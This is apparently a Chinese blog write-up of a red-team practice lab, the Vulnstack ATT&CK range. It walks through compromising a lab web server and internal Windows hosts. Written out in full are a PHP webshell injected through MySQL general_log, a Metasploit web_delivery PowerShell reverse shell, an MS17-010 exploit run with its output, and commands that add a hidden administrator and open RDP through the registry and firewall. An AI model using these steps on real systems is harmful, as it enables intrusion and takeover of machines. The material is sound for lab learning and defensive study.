ATTCK实战系列——红队实战(一)
目录
搭建环境问题
靶场环境
web 渗透
登录 phpmyadmin 应用
探测版本
写日志获得 webshell
写入哥斯拉 webshell
上线到 msf
内网信息收集
主机发现
流量转发
端口扫描
开启 socks 代理
服务探测
getshell 内网主机
浏览器配置 socks 代理
21 ftp
6002/7002 http
8099 IIS
139/445 smb
创建用户和开启 3389
远程桌面连接
这是一篇我渗透第一个红日靶场的笔记,记录其中使用到的技术。
搭建环境问题
本来想用 CS 完成后渗透,但是发现在基于主机模式网卡搭建的环境下,搭建的 CS 服务器有问题,具体表现是 beacon 无法上线到 CS 服务器,CS 客户端的 target 列表一片空白:
具体原因应该是跟网卡的模式有关,在 NAT 或桥接模式下运行的 CS 服务器倒是能正常工作。然而,发现在网卡为 NAT 模式下的机器能访问网卡为主机模式的机器,导致不能模拟一个正常隔断的局域网。本来还想用桥接模式,又发现宿主机用了手机热点,切换为桥接模式的虚拟机无法获取 ip。最终,我选择用主机模式网卡搭建靶场环境,然后用 metasploit 完成后渗透。
靶场环境
web 渗透
登录 phpmyadmin 应用
首先是从 web 服务器开始渗透,访问 192.168.17.141 网站:
phpstudy 搭建的 web 服务器,在网站目录下有个 phpmyadmin 入口,因为我知道 phpstudy 自带这么一个目录,所以手动访问了该路径(正常的渗透流程应该用工具扫描目录):
这种第三方应用一般会有一个默认账号,phpmyadmin 的是 root/root,输入并登录,进入系统:
探测版本
phpmyadmin 曝出过很多漏洞,网上很多利用方法,参考文章:最全phpmyadmin漏洞汇总
按照文章提供的技巧,先访问某些文件以查看 phpmyadmin 的版本号,比如 /phpmyadmin/readme:
根据这个版本号找对应的漏洞。我对了所有漏洞的版本范围,没有一个对的上,幸好还有一种方法 getshell:通过写入日志文件把 webshell 写入到网站目录下。
写日志获得 webshell
在写日志之前,首先需要知道网站目录的绝对路径,这一点可以在 phpstudy 探针页面看到:
现在可以在 phpmyadmin 的 SQL 功能页面写入日志了,按顺序执行以下语句:
# 开启日志记录
set global general_log = 'on';
# 日志文件的路径
set global general_log_file = 'C:/phpstudy/WWW/shell.php';
# 执行 SQL 语句,被记录到日志文件中
select "<?php @eval($_GET[x]);?>";
点击 go 执行:
访问日志文件 shell.php:
看到这样的结果,说明 webshell 已经成功写入到网站目录下。
写入哥斯拉 webshell
一句话木马不方便后续的操作,比如命令执行和上线等等,所以写入一个哥斯拉的 webshell。(其实,为了避开可能存在的杀软,应该直接写入哥斯拉 webshell ,而不是一句话木马)
主要的思路是通过一句话木马执行 file_put_contents() 函数,将哥斯拉 webshell 写入网站目录下,这些步骤我就省略了。
最后,连接哥斯拉 webshell:
上线到 msf
先看看当前 webshell 能不能执行命令:
能执行。接下来,在 msfconsole 控制台操作,使用 exploit/multi/script/web_delivery 模块分发 payload。用这种方法上线的原因是 web 服务器运行在 windows 系统上,用 powershell 直接下载 payload 并执行,效率比较高,只需要一条命令。
msfconsole 开启分发 payload 的 web 服务器:
use exploit/multi/script/web_delivery
set TARGET PSH
set PAYLOAD payload/windows/powershell_reverse_tcp
set LHOST 192.168.70.128 # 设置监听器的 ip 地址
set LPORT 2333 # 设置监听器的端口
run
复制给出的 powershell 语句在哥斯拉 webshell 执行:
回到 msfconsole 就会发现成功接收到的反弹 shell:
基于 powershell 的 shell 不太好用,可以利用它升级为 meterpreter,命令是 sessions -u <id>
内网信息收集
主机发现
在刚得到的 meterpreter 中收集网卡信息:
meterpreter > ifconfig...Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:a7:c1:a8
MTU : 1500
IPv4 Address : 192.168.70.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::fcff:cf71:1487:9c27
IPv6 Netmask : ffff:ffff:ffff:ffff::...Interface 26
============
Name : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 00:0c:29:a7:c1:b2
MTU : 1500
IPv4 Address : 192.168.17.141
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28cf:4f8a:48f2:7a90
IPv6 Netmask : ffff:ffff:ffff:ffff::
有两张不同网段的网卡,192.168.70.129 是对外开放的 ip 地址,也就是 web 服务器的地址,而 192.168.17.141 是该主机在内部局部网的 ip 地址。
用 post/windows/gather/arp_scanner 模块扫描局域网内的存活主机:
msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.17.0/24
RHOSTS => 192.168.17.0/24
msf6 post(windows/gather/arp_scanner) > optionsModule options (post/windows/gather/arp_scanner):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS 192.168.17.0/24 yes The target address range or CIDR identifierSESSION 2 yes The session to run this module on.THREADS 10 no The number of concurrent threadsmsf6 post(windows/gather/arp_scanner) > run[*] Running module against STU1
[*] ARP Scanning 192.168.17.0/24
[+] IP: 192.168.17.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+] IP: 192.168.17.10 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[+] IP: 192.168.17.100 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[+] IP: 192.168.17.141 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[+] IP: 192.168.17.254 MAC 00:50:56:e5:cc:ad (VMware, Inc.)
[+] IP: 192.168.17.255 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[*] Post module execution completed
192.168.17.0/24 网段内存活的主机有 6 个,去掉主机号为 1、254 和 255 的机器(这几个 ip 一般不是提供服务的主机),总共有 3 个主机在线,再去掉当前主机的 141,剩下两个就是其他提供服务的主机。
PS:arp 扫描需要管理员权限。
流量转发
将某个 meterpreter 所控制的主机作为流量转发的中转(pivot),使用的模块是 post/multi/manage/autoroute。
执行命令:
msf6 post(windows/gather/arp_scanner) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 2 # 设置作为中转的会话
SESSION => 2
msf6 post(multi/manage/autoroute) > optionsModule options (post/multi/manage/autoroute):Name Current Setting Required Description---- --------------- -------- -----------CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"SESSION 2 yes The session to run this module on.SUBNET no Subnet (IPv4, for example, 10.10.10.0)msf6 post(multi/manage/autoroute) > run[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 192.168.17.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.70.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
从 Session 2(也就是 meterpreter)自动获取所控制主机上的网段信息,添加到当前路由表。查看现在的路由表:
msf6 post(multi/manage/autoroute) > set CMD print
CMD => print
msf6 post(multi/manage/autoroute) > run[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*]
IPv4 Active Routing Table
=========================Subnet Netmask Gateway------ ------- -------169.254.0.0 255.255.0.0 Session 2192.168.17.0 255.255.255.0 Session 2192.168.70.0 255.255.255.0 Session 2[*] There are currently no IPv6 routes defined.
[*] Post module execution completed
这个像路由表的列表的含义是所有 metasploit 模块发送的流量的目标 ip 地址,如果属于 Subnet 里面的网段,就由 Gateway 指定的 Session 进行转发。
那么,之后的端口扫描就可以针对内部局域网 192.168.17.0/24 进行扫描了。
端口扫描
对 192.168.17.100 这台主机的前 10000 个端口进行扫描。为什么只扫描前 10000 个端口呢?因为一般服务所使用的端口集中在这范围里面,而端口扫描需要很多时间,所以暂时不浪费大量时间去扫描高位端口,除非实在没有可攻击的服务。
执行命令:
msf6 post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/portscan/tcp) > run[+] 192.168.17.100: - 192.168.17.100:21 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:139 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:135 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:445 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:777 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1025 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1040 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1041 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1043 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:6002 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:7001 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:7002 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:8099 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:8098 - TCP OPEN
扫描另一台主机 192.168.17.10 的操作同上,这里就省略了。
开启 socks 代理
因为探测开放端口上的服务信息需要用到 nmap,而 nmap 不属于 metasploit 的模块,无法通过 session 进行流量转发。因此,需要开启一个 socks 代理服务器。使用到的模块:auxiliary/server/socks_proxy,执行以下命令:
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > optionsModule options (auxiliary/server/socks_proxy):Name Current Setting Required Description---- --------------- -------- -----------PASSWORD no Proxy password for SOCKS5 listenerSRVHOST 0.0.0.0 yes The address to listen onSRVPORT 1080 yes The port to listen onUSERNAME no Proxy username for SOCKS5 listenerVERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)Auxiliary action:Name Description---- -----------Proxy Run a SOCKS proxy servermsf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 2.[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobsJobs
====Id Name Payload Payload opts-- ---- ------- ------------1 Exploit: multi/script/web_delivery windows/powershell_reverse_tcp tcp://192.168.70.128:44442 Auxiliary: server/socks_proxy
第二个 job 表明已经开启了 socks 代理。在 socks_proxy 模块的 options 里面描述了 socks 代理服务器的地址、端口和 socks 协议的版本,利用这些信息配置 proxychains,在命令行下执行:
echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf
cat /etc/proxychains4.conf...[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
将代理配置添加到 proxychains.conf 文件的末尾中,这样就配置成功了。
服务探测
用 nmap 扫描 192.168.17.100 主机上开放端口的服务:
proxychains nmap -sT -Pn -sV 192.168.17.100 -p 21,139,135,445,777,1025,1040,1041,1043,6002,7001,7002,8099,8098
需要注意的是,nmap 对代理的支持有限,很多协议不支持代理。所以,这里用 -sT 指定只用 TCP 全连接扫描,-Pn 取消主机发现,即不发送 ICMP、ARP 等报文(因为前面说的 nmap 不支持)。具体问题的描述参考 StackOverflow 的回答:How to use nmap through proxychains?
ok,执行上面的命令得到类似如下的结果:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
777/tcp open multiling-http?
1025/tcp open msrpc Microsoft Windows RPC
1040/tcp open msrpc Microsoft Windows RPC
1041/tcp open msrpc Microsoft Windows RPC
1043/tcp open msrpc Microsoft Windows RPC
6002/tcp open http SafeNet Sentinel Protection Server 7.3
7001/tcp open tcpwrapped
7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
8098/tcp open ssl/unknown
8099/tcp open http Microsoft IIS httpd 6.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.91%I=7%D=8/13%Time=64D8918A%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,5,"\
SF:x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServer,A
SF:,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x06");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
在 nmap 扫描结果中,比较感兴趣的端口有 21 ftp、139/445 smb、6002/7002 http 和 8099 IIS,对这些服务逐个进行测试,看看能够获取目标主机的权限。
getshell 内网主机
浏览器配置 socks 代理
配置的是 metasploit 开启的 socks 代理服务器。
21 ftp
在浏览器地址栏输入 ftp://192.168.17.100 并访问:
没有文件和目录。
题外话:本来我想将目标端口映射到本地,再用 ftp 客户端访问,也就是将 192.168.17.100 的 20 和 21 端口映射到 kali 上的 20 和 21 端口。然而,尽管 ftp 客户端能连接上并匿名登录,却无法传输数据。我猜想是跟 ftp 的数据传输机制有关,因为 ftp 另外建立了一条数据通道(协议详解参考FTP 文件传送协议_《TCP/IP详解 卷1:协议》)。至于,怎么将目标端口映射到本地,后面会介绍。
6002/7002 http
这个网站用 SafeNet Sentinel Protection Server 7.3 搭建,网上有关于它的 CVE 和 exp,参考:SafeNet Sentinel Protection Server 7.0 < 7.4 / Sentinel Keys Server 1.0.3 < 1.0.4 - Directory Traversal,是一个目录穿越导致任意文件下载的漏洞,但是我没有利用成功。所以,这一步测试就省略了。
不过,在测试该漏洞的过程中,发现 burpsuite 也可以用 socks 代理:
那么,我们可以把浏览器的代理配置改为 burpsuite 的 http 127.0.0.1:8080, 之后 burpsuite 就会拦截从浏览器发出的、经过 socks 代理转发的流量了。
8099 IIS
这个网站要求 https 访问,具体访问路径是 https://192.168.17.100:8098,不过需要 http basic auth 认证:
用 auxiliary/scanner/http/http_login 模块尝试暴力破解,但没有成功。看了一下服务器的 IIS 配置:
仅用户名就不容易猜对了。
139/445 smb
139 端口运行的是基于 NetBIOS 会话服务的 smb,445 端口运行的是基于 CIFS 的 smb,不依赖于 NetBIOS,两个端口都是 smb,不过一般攻击的是 445 端口。
smb 版本探测:
msf6 auxiliary(scanner/http/http_login) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/smb/smb_version) > run
^M
[*] 192.168.17.100:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 192.168.17.100:445 - Host is running Windows 2003 (build:3790) (name:ROOT-TVI862UBEH) (domain:GOD)
[*] 192.168.17.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
目标系统是 Windows Server 2003,在 ms17_010 漏洞的版本范围内,可以尝试攻击:
msf6 auxiliary(scanner/smb/smb_version) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.17.100
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND whoami /all
COMMAND => whoami /all
msf6 auxiliary(admin/smb/ms17_010_command) > run[-] 192.168.17.100:445 - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: execution expired
[*] 192.168.17.100:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) > runmsf6 auxiliary(admin/smb/ms17_010_command) > run[*] 192.168.17.100:445 - Target OS: Windows Server 2003 3790
[*] 192.168.17.100:445 - Filling barrel with fish... done
[*] 192.168.17.100:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.17.100:445 - [*] Preparing dynamite...
[*] 192.168.17.100:445 - Trying stick 1 (x64)...Miss
[*] 192.168.17.100:445 - [*] Trying stick 2 (x86)...Boom!
[*] 192.168.17.100:445 - [+] Successfully Leaked Transaction!
[*] 192.168.17.100:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.17.100:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.17.100:445 - Reading from CONNECTION struct at: 0x8d04ad60
[*] 192.168.17.100:445 - Built a write-what-where primitive...
[+] 192.168.17.100:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.17.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.17.100:445 - Getting the command output...
[*] 192.168.17.100:445 - Executing cleanup...
[+] 192.168.17.100:445 - Cleanup was successful
[+] 192.168.17.100:445 - Command completed successfully!
[*] 192.168.17.100:445 - Output for "whoami /all":USER INFORMATION
----------------User Name SID
=================== ========
nt authority\system S-1-5-18GROUP INFORMATION
... // 省略
漏洞利用成功并执行 whoami /all 命令。
注意:漏洞利用模块执行不稳定,建议尝试多执行几次。
创建用户和开启 3389
通过 ms17_010 命令执行漏洞在目标主机创建管理员用户和开启 3389 远程桌面。
创建用户的相关命令:
net user <用户名> <密码> /add # 创建账户,$ 隐藏账户,密码在 Windows Server 上需要满足一定的复杂度
net localgroup administrators <用户名> /add
net user <用户名>
开启 3389 远程桌面的相关命令:
# 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 开启远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 防火墙开放 3389 端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
需要注意的是,metasploit 对 set COMMAND 提供的参数会转义一次,所以给 ms17_010_command 模块设置命令 option 时,需要将引号和反斜杠前面添加转义符号,举个例子:
set COMMAND reg add \"HKLM\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f
远程桌面连接
192.168.17.100 主机的 3389 端口开启后,如何连接呢?Windows 攻击机可以选择用 proxifier 代理工具,配置前面 metasploit 开启的 socks 代理服务器(端口 1080),不过我选择将目标端口映射到本地的方法。
在 msfconsole 下执行:
msf6 post(multi/manage/autoroute) > sessions -i 2
[*] Starting interaction with 2...meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.17.100
[*] Local TCP relay created: :3389 <-> 192.168.17.100:3389
meterpreter > portfwdActive Port Forwards
====================Index Local Remote Direction----- ----- ------ ---------1 192.168.17.100:3389 0.0.0.0:3389 Forward1 total active port forwards.
portfwd 命令语句的含义是将远程主机 192.168.17.100(-r)的 3389 端口(-p)映射到本地的 3389 端口(-l)。Active Port Forwards 展示的列表中有点让人看不懂,Local 和 Remote 相反了,Local 是远程地址,Remote 则是本地地址。不管怎样,只需要知道发送给 0.0.0.0:3389 的流量将被转发到远程地址 192.168.17.100 的 3389 端口。
既然是转发,那肯定有个作为中转的“东西”,其实这里作为中转的正是前面配置流量转发所指定的 Session 2。
IPv4 Active Routing Table
=========================Subnet Netmask Gateway------ ------- -------169.254.0.0 255.255.0.0 Session 2192.168.17.0 255.255.255.0 Session 2192.168.70.0 255.255.255.0 Session 2
也就是 meterpreter 控制的 web 服务器。
接着,便可以在 Windows 10 攻击机上远程桌面连接了:
ip 地址和端口是 kali 攻击机及其刚刚映射到本地的 3389 端口。
连接成功,输入密码就能登录进去系统。
题外话:我尝试用这篇文章介绍的技术将这台 Windows Server 2003 上线到 msf 的时候,发现无法创建 session,而 Windows Server 2008 则可以上线,具体原因可能是 Server 2003 台太老了,缺少一些程序。
至此,内网的第一台主机 Windows Server 2003(ip 地址为 192.168.17.100 )已经被攻陷。另一台主机 Windows Server 2008(ip 的地址为 192.168.17.10)也可以利用 ms17_010 漏洞获取访问权限。如果想尝试用 PTH 获取权限,具体操作参考这篇攻略:Vulnstack红日安全内网域渗透靶场1实战
相关文章:
ATTCK实战系列——红队实战(一)
目录 搭建环境问题 靶场环境 web 渗透 登录 phpmyadmin 应用 探测版本 写日志获得 webshell 写入哥斯拉 webshell 上线到 msf 内网信息收集 主机发现 流量转发 端口扫描 开启 socks 代理 服务探测 getshell 内网主机 浏览器配置 socks 代理 21 ftp 6002/700…...
服务器感染了.360勒索病毒,如何确保数据文件完整恢复?
引言: 随着科技的不断进步,互联网的普及以及数字化生活的发展,网络安全问题也逐渐成为一个全球性的难题。其中,勒索病毒作为一种危害性极高的恶意软件,在近年来频频袭扰用户。本文91数据恢复将重点介绍 360 勒索病毒&a…...
【idea】社区版idea运行Tomcat
使用 Smart Tomcat插件 配置运行:...
网络安全面试题整理
目录标题 1.你常用的渗透工具有哪些?2.xss盲打到内网服务器的利用3.鱼叉式攻击和水坑攻击是什么?4.什么是虚拟机逃逸?5.中间人攻击的原理和防御?6.TCP三次握手过程?7.七层模型有哪七层?8.对云安全的理解&am…...
docker使用code-server搭建开发环境 v2.0
安装docker docker安装 下载安装nodejs、rust等环境 1、设置安装目录 # 创建路径 mkdir /usr/local/node # 切换路径 cd /usr/local/node2、安装nodejs16 # 下载 wget https://nodejs.org/dist/latest-v18.x/node-v18.17.1-linux-x64.tar.xz#解压 tar -xvf node-v18.17.1…...
Python写一个创意五子棋游戏
前言 在本教程中,我们将使用Python写一个创意五子棋游戏 📝个人主页→数据挖掘博主ZTLJQ的主页 个人推荐python学习系列: ☄️爬虫JS逆向系列专栏 - 爬虫逆向教学 ☄️python系列专栏 - 从零开始学python 首先 GomokuGame 类的构造函数 __ini…...
Nvidia Jetson 编解码开发(1)介绍
前言 由于项目需要,需要开发Jetson平台的硬件编解码; 优化CPU带宽,后续主要以介绍硬件编解码为主 1.Jetson各平台编解码性能说明 如下是拿了Jetson nano/tx2/Xavier等几个平台做对比; 这里说明的编解码性能主要是对硬件来说的…...
【操作系统】24王道考研笔记——第一章 计算机系统概述
第一章 计算机系统概述 一、操作系统基本概念 1.1 定义 1.2 特征 并发 (并行:指两个或多个事件在同一时刻同时发生) 共享 (并发性指计算机系统中同时存在中多个运行着的程序,共享性指系统中的资源可供内存中多个并…...
菜鸟Vue教程 - 实现带国际化的注册登陆页面
初接触vue的时候觉得vue好难,因为项目中要用到,就硬着头皮上,慢慢的发现也不难,无外乎画个布局,然后通过样式调整界面。在通过属性和方法跟js交互。js就和我们写的java代码差不多了,复杂一点的就是引用这种…...
Mybatis ORDER BY 排序失效 ORDER BY 与 CASE WHEN THEN 排序问题
一、ORDER BY 排序失效 如果传递给 mapper 的参数值是以 #{test_参数} 的形式,那么就会报错 具体如下: 传递参数是 name 排序规则是升序 asc package com.ruoyi.web.mapper; public interface TestMapper {List<TestEntity> getTestData( Para…...
日常BUG——微信小程序提交代码报错
😜作 者:是江迪呀✒️本文关键词:日常BUG、BUG、问题分析☀️每日 一言 :存在错误说明你在进步! 一、问题描述 在使用微信小程序开发工具进行提交代码时,报出如下错误: Invalid a…...
1048:有一门课不及格的学生
【题目描述】 给出一名学生的语文和数学成绩,判断他是否恰好有一门课不及格(成绩小于60分)。若该生恰好有一门课不及格,输出1;否则输出0。 【输入】 一行,包含两个在0到100之间的整数,分别是该生的语文成绩和数学成…...
数据结构——B-树、B+树、B*树
一、B-树 1. B-树概念 B树是一种适合外查找的、平衡的多叉树。一棵m阶(m>2)的B树,是一棵平衡的M路平衡搜索树,它可以是空树或满足以下性质: (1)根节点至少有两个孩子。 (2&#…...
2023国赛数学建模思路 - 案例:FPTree-频繁模式树算法
文章目录 算法介绍FP树表示法构建FP树实现代码 建模资料 ## 赛题思路 (赛题出来以后第一时间在CSDN分享) https://blog.csdn.net/dc_sinor?typeblog 算法介绍 FP-Tree算法全称是FrequentPattern Tree算法,就是频繁模式树算法,…...
GPT系列总结
1.GPT1 无监督预训练有监督的子任务finetuning https://cdn.openai.com/research-covers/language-unsupervised/language_understanding_paper.pdf 1.1 Unsupervised pre-training (1)基于一个transformer decoder,通过一个窗口的输入得…...
【福建事业单位-综合基础知识】05民法典
这里写自定义目录标题 一、民法概述概念原则总结 二、自然人概念总结 三、民事法律行为总结 民法考察2-4题(重点总则篇) 一、民法概述 概念原则 总结 二、自然人 概念 总结 三、民事法律行为 总结...
微服务篇
微服务篇 springcloud 常见组件有哪些 面试官: Spring Cloud 5大组件有哪些? 候选人: 早期我们一般认为的Spring Cloud五大组件是 Eureka:注册中心Ribbon:负载均衡Feign:远程调用Hystrix:…...
C++ 的关键字(保留字)完整介绍
1. asm asm (指令字符串):允许在 C 程序中嵌入汇编代码。 2. auto auto(自动,automatic)是存储类型标识符,表明变量"自动"具有本地范围,块范围的变量声明(如for循环体内的变量声明…...
C#小轮子:MiniExcel,快速操作Excel
文章目录 前言环境安装功能测试普通读写读新建Excel表格完全一致测试:成功大小写测试:严格大小写别名读测试:成功 写普通写别名写内容追加更新模板写 其它功能xlsx和CSV互转 前言 Excel的操作是我们最常用的操作,Excel相当于一个…...
Ribbon负载均衡
Ribbon与Eureka的关系 Eureka的服务拉取与负载均衡都是由Ribbon来实现的。 当服务发送http://userservice/user/xxxhtt://userservice/user/xxx请求时,是无法到达userservice服务的,会通过Ribbon会把这个请求拦截下来,通过Eureka-server转换…...
LeetCode--HOT100题(33)
目录 题目描述:148. 排序链表(中等)题目接口解题思路代码 PS: 题目描述:148. 排序链表(中等) 给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 LeetCode做题链接࿱…...
【docker练习】
1.安装docker服务,配置镜像加速器 看这篇文章https://blog.csdn.net/HealerCCX/article/details/132342679?spm1001.2014.3001.5501 2.下载系统镜像(Ubuntu、 centos) [rootnode1 ~]# docker pull centos [rootnode1 ~]# docker pull ubu…...
韦东山-电子量产工具项目:业务系统
代码结构 所有代码都已通过测试跑通,其中代码结构如下: 一、include文件夹 1.1 common.h #ifndef _COMMON_H #define _COMMON_Htypedef struct Region {int iLeftUpX; //区域左上方的坐标int iLeftUpY; //区域左下方的坐标int iWidth; //区域宽…...
React(6)
1.React插槽 import React, { Component } from react import Child from ./compoent/Childexport default class App extends Component {render() {return (<div><Child><div>App下的div</div></Child></div>)} }import React, { Compon…...
RabbitMq-2安装与配置
Rabbitmq的安装 1.上传资源 注意:rabbitmq的版本必须与erlang编译器的版本适配 2.安装依赖环境 //打开虚拟机 yum install build-essential openssl openssl-devel unixODBC unixODBC-devel make gcc gcc-c kernel-devel m4 ncurses-devel tk tc xz3.安装erlan…...
论文笔记:Continuous Trajectory Generation Based on Two-Stage GAN
2023 AAAI 1 intro 1.1 背景 建模人类个体移动模式并生成接近真实的轨迹在许多应用中至关重要 1)生成轨迹方法能够为城市规划、流行病传播分析和交通管控等城市假设分析场景提供仿仿真数据支撑2)生成轨迹方法也是目前促进轨迹数据开源共享与解决轨迹数…...
redis实战-缓存数据解决缓存与数据库数据一致性
缓存的定义 缓存(Cache),就是数据交换的缓冲区,俗称的缓存就是缓冲区内的数据,一般从数据库中获取,存储于本地代码。防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪,这在实际开发中对企业讲,对产品口碑,用户评价都是致命的;所以企业非常重视缓存…...
【排序】选择排序
文章目录 选择排序时间复杂度空间复杂度稳定性 代码 选择排序 以从小到大为例进行说明。 选择排序就是定义出一个最小值下标,然后遍历整个剩下的数组选择出最小的放进最小值下标的位置。 时间复杂度 O(N) 遍历一次即可 空间复杂度 O(1) 稳定性 不稳定 代码 p…...
深入浅出Pytorch函数——torch.nn.init.trunc_normal_
分类目录:《深入浅出Pytorch函数》总目录 相关文章: 深入浅出Pytorch函数——torch.nn.init.calculate_gain 深入浅出Pytorch函数——torch.nn.init.uniform_ 深入浅出Pytorch函数——torch.nn.init.normal_ 深入浅出Pytorch函数——torch.nn.init.c…...
探索高级UI、源码解析与性能优化,了解开源框架及Flutter,助力Java和Kotlin筑基,揭秘NDK的魅力!
课程链接: 链接: https://pan.baidu.com/s/13cR0Ip6lzgFoz0rcmgYGZA?pwdy7hp 提取码: y7hp 复制这段内容后打开百度网盘手机App,操作更方便哦 --来自百度网盘超级会员v4的分享 课程介绍: 📚【01】Java筑基:全方位指…...
国外服务器怎么有效降低延迟
国外服务器怎么有效降低延迟?在全球化网络环境下,越来越多的企业和个人选择使用国外服务器来托管网站、应用程序或数据。然而,由于地理位置、网络连接等因素,使用国外服务器时可能会遇到延迟较高的问题。高延迟不仅影响用户体验,…...
AI百度文心一言大语言模型接入使用(中国版ChatGPT)
百度文心一言接入使用(中国版ChatGPT) 一、百度文心一言API二、使用步骤1、接口2、请求参数3、请求参数示例4、接口 返回示例 三、 如何获取appKey和uid1、申请appKey:2、获取appKey和uid 四、重要说明 一、百度文心一言API 基于百度文心一言语言大模型…...
vue 安装并配置vuex
1.安装vuex命令:npm i vuex3.6.2 2.全局配置 在main文件里边导入-安装-挂载 main.js页面配置的 import Vue from vue import App from ./App.vue import Vuex from vuex//导入 Vue.use(Vuex)//安装插件 // 创建store对象 const store new Vuex.Store({ }) // 挂载到vue对象上…...
有一种新型病毒在 3Ds Max 环境中传播,如何避免?
3ds Max渲染慢,可以使用渲云渲染农场: 渲云渲染农场解决本地渲染慢、电脑配置不足、紧急项目渲染等问题,可批量渲染,批量出结果,速度快,效率高。 此外3dmax支持的CG MAGIC插件专业版正式上线,…...
基于Java/springboot铁路物流数据平台的设计与实现
摘要 随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,铁路物流数据平台当然也不能排除在外,从文档信息、铁路设计的统计和分析,在过程中会产生大量的、各…...
比较杂的html元素
